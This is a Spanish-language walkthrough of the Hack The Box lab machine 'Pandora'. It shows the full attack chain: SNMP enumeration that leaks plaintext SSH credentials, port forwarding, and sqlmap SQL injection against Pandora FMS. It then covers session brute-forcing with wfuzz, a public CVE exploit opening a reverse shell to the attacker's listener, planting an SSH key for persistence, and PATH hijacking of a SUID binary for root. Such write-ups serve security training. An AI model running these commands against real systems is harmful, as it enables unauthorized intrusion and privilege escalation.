Darkmoon
  • WHOAMI 💀
  • HTB Machines 📦
    • 🪟 Windows
      • 🟢 Easy
        • Buff
      • 🟠 Medium
      • 🔴Difficult
      • 🟣Insane
    • 🐧 Linux
      • 🟢 Easy
        • Lame HTB
        • Pandora htb
      • 🟠 Medium
      • 🔴Difficult
      • 🟣Insane
    • 🔒 Challenges
  • TRY HACK ME
    • 🪟 Windows
      • 🟢 Easy
        • Blue 🔵
      • 🟠 Medium
      • 🔴Difficult
      • 🟣Insane
    • 🐧 Linux
      • 🟢 Easy
      • 🟠 Medium
      • 🔴Difficult
      • 🟣Insane
  • 💣 Vulnerabilidades y tips
    • SISTEMAS OPERATIVOS
      • Windows 🪟
      • Linux 🐧
        • Escalada de privilegios
          • Linpeas
Con tecnología de GitBook
En esta página
  • Resumen
  • Escaneo de puertos
  • Escalada de privilegios
  • ROOT

¿Te fue útil?

  1. HTB Machines 📦
  2. 🐧 Linux
  3. 🟢 Easy

Pandora htb

En el presente desafio de hack the box ,abordaremos la maquina ," pandora" . En este escenario aprovecharemos una vulnerabilidad en el servicio snmp ,que servirá para ganar acceso a ssh y poder ganar

AnteriorLame HTBSiguiente🟠 Medium

Última actualización hace 1 año

¿Te fue útil?

Resumen

En el presente desafio de hack the box ,abordaremos la maquina ," pandora" . En este escenario aprovecharemos una vulnerabilidad en el servicio snmp ,que servirá para ganar acceso a ssh y poder ganar root dentro de la maquina por medio del por forwanding.

Escaneo de puertos

Primero que todo, como toda buena metodología, debemos hacer un escaneo de puertos con nmap con los siguientes parámetros:

  • -p-: Escanear todos los 65353 puertos que existen

  • -Pn : Sirve para decirle a Nmap que el host destino si está arriba

  • –min-rate 5000: : Lo que hace este parámetro de nmap es controlar el número mínimo de paquetes por segundo que se enviara durante el escaneo

nmap -p- -Pn -O  --min-rate 5000 10.10.11.136                                                                                                                                         
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-23 10:19 AKDT
Warning: 10.10.11.136 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.136 (10.10.11.136)
Host is up (0.065s latency).
Not shown: 64468 closed tcp ports (reset), 1065 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=3/23%OT=22%CT=1%CU=39181%PV=Y%DS=2%DC=I%G=Y%TM=65FF
OS:1D75%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)
OS:OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53C
OS:ST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)

Network Distance: 2 hops

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.16 seconds

cómo podemos ver este nos dan dos puertos abiertos, después de esto intentamos hacer el mismo escaneo, pero para el protocolo UDP, este se realiza con la herramienta nmap ,donde utilizaremos los siguientes parámetros:

  • -p-: Escanear todos los 65353 puertos que existen

  • -sU : Este parametro hace que nmap haga el escaneo por el protocolo udp

  • -Pn : Sirve para decirle a Nmap que el host destino si está arriba

  • –min-rate 5000: Lo que hace este parámetro de nmap es controlar el número mínimo de paquetes por segundo que se enviara durante el escaneo

nmap -p- -sU --min-rate 5000  10.10.11.136   
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-23 10:27 AKDT
Warning: 10.10.11.136 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.136 (10.10.11.136)
Host is up (0.20s latency).
Not shown: 65386 open|filtered udp ports (no-response), 148 closed udp ports (port-unreach)
PORT    STATE SERVICE
161/udp open  snmp

Después de esto intentamos hacer un escaneo agresivo con nmap , este se realiza con el parámetro -A

nmap -p161 -sU -A  -Pn 10.10.11.136   
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-23 10:36 AKDT
Stats: 0:01:22 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.64% done; ETC: 10:38 (0:00:01 remaining)
Stats: 0:02:10 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.32% done; ETC: 10:38 (0:00:01 remaining)
Nmap scan report for 10.10.11.136 (10.10.11.136)
Host is up (0.065s latency).

PORT    STATE SERVICE VERSION
161/udp open  snmp    SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-info: 
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: 48fa95537765c36000000000
|   snmpEngineBoots: 30
|_  snmpEngineTime: 26m18s
| snmp-sysdescr: Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64
|_  System uptime: 26m18.16s (157816 timeticks)
| snmp-interfaces: 
|   lo
|     IP address: 127.0.0.1  Netmask: 255.0.0.0
|     Type: softwareLoopback  Speed: 10 Mbps
|     Traffic stats: 142.56 Kb sent, 142.56 Kb received
|   VMware VMXNET3 Ethernet Controller
|     IP address: 10.10.11.136  Netmask: 255.255.254.0
|     MAC address: 00:50:56:b9:e1:82 (VMware)
|     Type: ethernetCsmacd  Speed: 4 Gbps
|_    Traffic stats: 3.98 Mb sent, 93.51 Mb received
| snmp-win32-software: 
|   accountsservice_0.6.55-0ubuntu12~20.04.5_amd64; 2021-12-07T12:57:21
|   adduser_3.118ubuntu2_all; 2021-02-01T17:21:32
|   alsa-topology-conf_1.2.2-1_all; 2021-02-01T17:25:18
|   alsa-ucm-conf_1.2.2-1ubuntu0.11_all; 2021-12-07T12:57:25
|   amd64-microcode_3.20191218.1ubuntu1_amd64; 2021-06-11T12:44:07
|   apt-utils_2.0.6_amd64; 2021-12-07T12:57:00
|   apt_2.0.6_amd64; 2021-12-07T12:56:59
|   at_3.1.23-1ubuntu1_amd64; 2021-02-01T17:25:23
|   base-files_11ubuntu5.4_amd64; 2021-12-07T12:56:49
|   base-passwd_3.5.47_amd64; 2021-02-01T17:20:55
 ...
 
  
|   fwupd_1.5.11-0ubuntu1~20.04.2_amd64; 2022-01-03T07:47:23
|   galera-3_25.3.29-1_amd64; 2021-06-11T13:33:31
|   gawk_1:5.0.1+dfsg-1_amd64; 2021-02-01T17:24:54
|   gcc-10-base_10.3.0-1ubuntu1~20.04_amd64; 2021-12-07T12:56:51
|   gdisk_1.0.5-1_amd64; 2021-02-01T17:26:24
|   geoip-database_20191224-2_all; 2021-06-11T13:30:13
|   gettext-base_0.19.8.1-10build1_amd64; 2021-02-01T17:25:09
|   gir1.2-glib-2.0_1.64.1-1~ubuntu20.04.1_amd64; 2021-02-01T17:24:09
|   gir1.2-packagekitglib-1.0_1.1.13-2ubuntu1.1_amd64; 2021-02-01T17:25:41 
|   zip_3.0-11build1_amd64; 2021-06-11T13:55:09
|_  zlib1g_1:1.2.11.dfsg-2ubuntu1.2_amd64; 2021-02-01T17:24:00
| snmp-processes: 
|   1: 
|     Name: systemd
|     Path: /sbin/init
|     Params: maybe-ubiquity
|   2: 
|     Name: kthreadd
|   3: 
 ....
|   83: 
|     Name: edac-poller
|   84: 
|     Name: devfreq_wq
|   698: 
|     Name: VGAuthService
|     Path: /usr/bin/VGAuthService
|   704: 
|     Name: vmtoolsd
|     Path: /usr/bin/vmtoolsd
|   764: 
|     Name: accounts-daemon
|     Path: /usr/lib/accountsservice/accounts-daemon
|   768: 
|     Name: dbus-daemon
|     Path: /usr/bin/dbus-daemon
|     Params: --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
...
|   856: 
|     Name: sh
|     Path: /bin/sh
|     Params: -c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'
|   862: 
|     Name: atd
|     Path: /usr/sbin/atd
|     Params: -f
|   865: 
|     Name: snmpd
|     Path: /usr/sbin/snmpd
|     Params: -LOw -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f -p /run/snmpd.pid
|   866: 
|     Name: sshd
|     Path: sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
  
 
| snmp-netstat: 
|   TCP  0.0.0.0:22           0.0.0.0:0
|   TCP  10.10.11.136:33448   1.1.1.1:53
|   TCP  127.0.0.1:3306       0.0.0.0:0
|   TCP  127.0.0.53:53        0.0.0.0:0
|   UDP  0.0.0.0:161          *:*
|_  UDP  127.0.0.53:53        *:*
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
Service Info: Host: pandora

TRACEROUTE (using port 161/udp)
HOP RTT      ADDRESS
1   64.11 ms 10.10.14.1 (10.10.14.1)
2   64.22 ms 10.10.11.136 (10.10.11.136)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 287.41 seconds

Después de revisar el resultado del escaneo agresivo con nmap ,se logra percatar que dentro de snmp-processes (Procesos ejecutados en el servicio de transferencia de información snmp ).

856: 
|     Name: sh
|     Path: /bin/sh
|     Params: -c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'

se logra ver que estas credenciales sirven para entablar una conexión ssh con la victima

ssh daniel@10.10.11.136
HotelBabylon23

Escalada de privilegios

al revisar notamos que existen dos usuarios daniel y matt.

ahora ejecutamos, el binario que nos devolvía en el escaneo de nmap

/usr/bin/host_check -u daniel -p HotelBabylon23

al revisar el output nos dice que lo guardo en un archivo llamado .host_check

cat ~/.host_check

al revisar el output de este notamos que nos devuelve esta información

1;localhost.localdomain;192.168.1.42;Created by localhost.localdomain;Linux;;09fbaa6fdf35afd44f8266676e4872f299c1d3c
2;localhost.localdomain;;Pandora FMS Server version 7.0NG.742_FIX_PERL2020;Linux;;localhost.localdomain;3

al revisar, nos damos cuenta de que está corriendo un Pandora FMS server en el puerto 80, pero lo curioso es que desde nuestra maquina no tenemos acceso desde este, entonces ¿cómo avanzamos?

Para hacer esto necesitamos hacer un port forwanding con la maquina victima

con el siguiente comando

ssh -L 80:127.0.0.1:80 daniel@10.10.11.136

Ahora al ingresar al puerto 80 de nuestra máquina, vemos que está ejecutándose un FMS en esta versión v7.0NG.742_FIX_PERL2020.

Bueno al buscar un exploit para esta versión de la web notamos que tiene estas dos vulnerabilidades

sqlmap -u "127.0.0.1/pandora_console/include/chart_generator.php?session_id=2"  --random-agent -D pandora --tables

al ver el output de este nos damos cuenta de que existe una tabla llamada tsessions_php , donde se guardan las sesiones del aplicativo.

Database: pandora
Table: tsessions_php
[44 entries]
+----------------------------+-----------------------------------------------------+-------------+
| id_session                 | data                                                | last_active |
+----------------------------+-----------------------------------------------------+-------------+
| 09vao3q1dikuoi1vhcvhcjjbc6 | id_usuario|s:6:"daniel";                            | 1638783555  |
| 0ahul7feb1l9db7ffp8d25sjba | NULL                                                | 1638789018  |
| 1um23if7s531kqf5da14kf5lvm | NULL                                                | 1638792211  |
| 2e25c62vc3odbppmg6pjbf9bum | NULL                                                | 1638786129  |
| 346uqacafar8pipuppubqet7ut | id_usuario|s:6:"daniel";                            | 1638540332  |
| 3me2jjab4atfa5f8106iklh4fc | NULL                                                | 1638795380  |
| 4f51mju7kcuonuqor3876n8o02 | NULL                                                | 1638786842  |
| 4nsbidcmgfoh1gilpv8p5hpi2s | id_usuario|s:6:"daniel";                            | 1638535373  |
| 59qae699l0971h13qmbpqahlls | NULL                                                | 1638787305  |
| 5fihkihbip2jioll1a8mcsmp6j | NULL                                                | 1638792685  |
| 5i352tsdh7vlohth30ve4o0air | id_usuario|s:6:"daniel";                            | 1638281946  |
| 69gbnjrc2q42e8aqahb1l2s68n | id_usuario|s:6:"daniel";                            | 1641195617  |
| 81f3uet7p3esgiq02d4cjj48rc | NULL                                                | 1623957150  |
| 8jidl7hedhdjjo7gjud3q7oefs | NULL                                                | 1711224283  |
| 8m2e6h8gmphj79r9pq497vpdre | id_usuario|s:6:"daniel";                            | 1638446321  |
| 8upeameujo9nhki3ps0fu32cgd | NULL                                                | 1638787267  |
| 9vv4godmdam3vsq8pu78b52em9 | id_usuario|s:6:"daniel";                            | 1638881787  |
| a3a49kc938u7od6e6mlip1ej80 | NULL                                                | 1638795315  |
| agfdiriggbt86ep71uvm1jbo3f | id_usuario|s:6:"daniel";                            | 1638881664  |
| bmgj8uahj1kfgq1qsps8tb8mpi | NULL                                                | 1711221184  |
| cojb6rgubs18ipb35b3f6hf0vp | NULL                                                | 1638787213  |
| d0carbrks2lvmb90ergj7jv6po | NULL                                                | 1638786277  |
| f0qisbrojp785v1dmm8cu1vkaj | id_usuario|s:6:"daniel";                            | 1641200284  |
| fikt9p6i78no7aofn74rr71m85 | NULL                                                | 1638786504  |
| fqd96rcv4ecuqs409n5qsleufi | NULL                                                | 1638786762  |
| g0kteepqaj1oep6u7msp0u38kv | id_usuario|s:6:"daniel";                            | 1638783230  |
| g4e01qdgk36mfdh90hvcc54umq | id_usuario|s:4:"matt";alert_msg|a:0:{}new_chat|b:0; | 1638796349  |
| gf40pukfdinc63nm5lkroidde6 | NULL                                                | 1638786349  |
| heasjj8c48ikjlvsf1uhonfesv | NULL                                                | 1638540345  |
| hpu9efmfei9fhk2csj5hhkfv9j | id_usuario|s:6:"daniel";                            | 1711217455  |
| hsftvg6j5m3vcmut6ln6ig8b0f | id_usuario|s:6:"daniel";                            | 1638168492  |
| jd516h71acm1cs23485criihg8 | NULL                                                | 1711224314  |
| jecd4v8f6mlcgn4634ndfl74rd | id_usuario|s:6:"daniel";                            | 1638456173  |
| kp90bu1mlclbaenaljem590ik3 | NULL                                                | 1638787808  |
| ne9rt4pkqqd0aqcrr4dacbmaq3 | NULL                                                | 1638796348  |
| o3kuq4m5t5mqv01iur63e1di58 | id_usuario|s:6:"daniel";                            | 1638540482  |
| oi2r6rjq9v99qt8q9heu3nulon | id_usuario|s:6:"daniel";                            | 1637667827  |
| pjp312be5p56vke9dnbqmnqeot | id_usuario|s:6:"daniel";                            | 1638168416  |
| qm7ipdq2csum35hfvh2dd616qv | id_usuario|s:6:"daniel";                            | 1711220171  |
| qq8gqbdkn8fks0dv1l9qk6j3q8 | NULL                                                | 1638787723  |
| r097jr6k9s7k166vkvaj17na1u | NULL                                                | 1638787677  |
| rgku3s5dj4mbr85tiefv53tdoa | id_usuario|s:6:"daniel";                            | 1638889082  |
| u5ktk2bt6ghb7s51lka5qou4r4 | id_usuario|s:6:"daniel";                            | 1638547193  |
| u74bvn6gop4rl21ds325q80j0e | id_usuario|s:6:"daniel";                            | 1638793297  |
+----------------------------+-----------------------------------------------------+-------------+

ahora para validar cual de este si es una sesión activa lo que haremos es hacer una fuerza bruta, hasta encontrar cual, si está habilitada, para esto lo que haremos es obtener todos los id_session.

Estos sessions id los guardamos en un archivo llamado bruteforce donde después con la herramienta wfuzz validamos cual session si deja ingresar al administrador.

donde la sesión valida es

g4e01qdgk36mfdh90hvcc54umq

ya con esta sesión se puede utilizar la siguiente vulnerabilidad para ganar acceso a la máquina.

python3 pandorafms_7.44.py -t http://127.0.0.1/ -c g4e01qdgk36mfdh90hvcc54umq -lhost 10.10.14.38 -lport 4444

ROOT

Ahora para ganar persistencia dentro del server con el usuario root lo que haremos es generar una key ssh

ssh-keygen

ahora nos dirigimos a la ruta .ssh y obtenemos el id_ed(number).pub, ya despues de eso, nos debe dar un texto, en la maquina victima nos dirigimos a la raiz del usuario matt y entramos a la carpeta .ssh

matt@pandora:/var/www/pandora/pandora_console$ cd /home
cd /home
matt@pandora:/home$ cd matt
cd matt
matt@pandora:/home/matt$ ls
ls
user.txt
matt@pandora:/home/matt$ mkdir .ssh
mkdir .ssh
matt@pandora:/home/matt$ cd .ssh
cd .ssh

Ahora dentro de esta carpeta agregamos con un echo la key anteriormente copiada

echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMi61b/8vmGgGc2y+ZUvht7vicdXODlOAaLQPWoks42n root@10" > authorized_keys 
<t7vicdXODlOAaLQPWoks42n root@10" > authorized_keys 

ahora nos intentamos conectar como matt al servidor y nos debería deja.

ssh matt@10.10.11.136   

Bueno después de ganar acceso al usuario matt lo que hacemos es hacer una búsqueda de binarios donde tengamos el permiso 400 de ejecución.

matt@pandora:~$ find / -perm -4000 2>/dev/null
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/pandora_backup
/usr/bin/passwd
/usr/bin/mount
/usr/bin/su
/usr/bin/at
/usr/bin/fusermount
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1

vemos que tenemos el binario usr/bin/pandora_backup , donde al revisar vemos que este se ejecuta como root.

Al hacer la ejecución del código se logra percatar que este ejecuta el comando tar para comprimir datos.

por ende, lo que haremos es jugar con el $PATH de linux, debemos tener en cuenta que el $PATH es el orden que tiene linux para ejecutar un binario, como así ? , si ejecutamos el comando tar y el path es /usr/bin;/data/bin ,linux primero buscará el comando tar en /usr/bin y si no lo encuentra lo buscara en el otro.

Así lo que haremos es irnos a la capeta /tmp y creamos un archivo tar donde tendrá la acción de ejecutar /bin/bash.

cd /tmp  
echo '/bin/bash;' > tar  

Después de esto le daremos permiso de ejecución y lo que haremos es cambiar el $PATH del sistema paraque tome el antiguo que tenía, pero agregue la carpeta /tmp.

chmod +x tar
export PATH=/tmp:$PATH

por ende, al ejecutar de nuevo el binario tendremos acceso a root.

y yap , ¡¡ maquina solucionada!!!

primero vamos al sql injection , en la página nos dice que este se encuentra en el siguiente link ,por ende lo que haremos es utilizar sqlmap para poder vulnerar este link

http://localhost:8000/pandora_console/include/chart_generator.php?session_id
Port forwardingWikipedia
GitHub - hadrian3689/pandorafms_7.44: CVE-2020-13851 Pandora FMS 7.44GitHub
Logo
Logo
Page cover image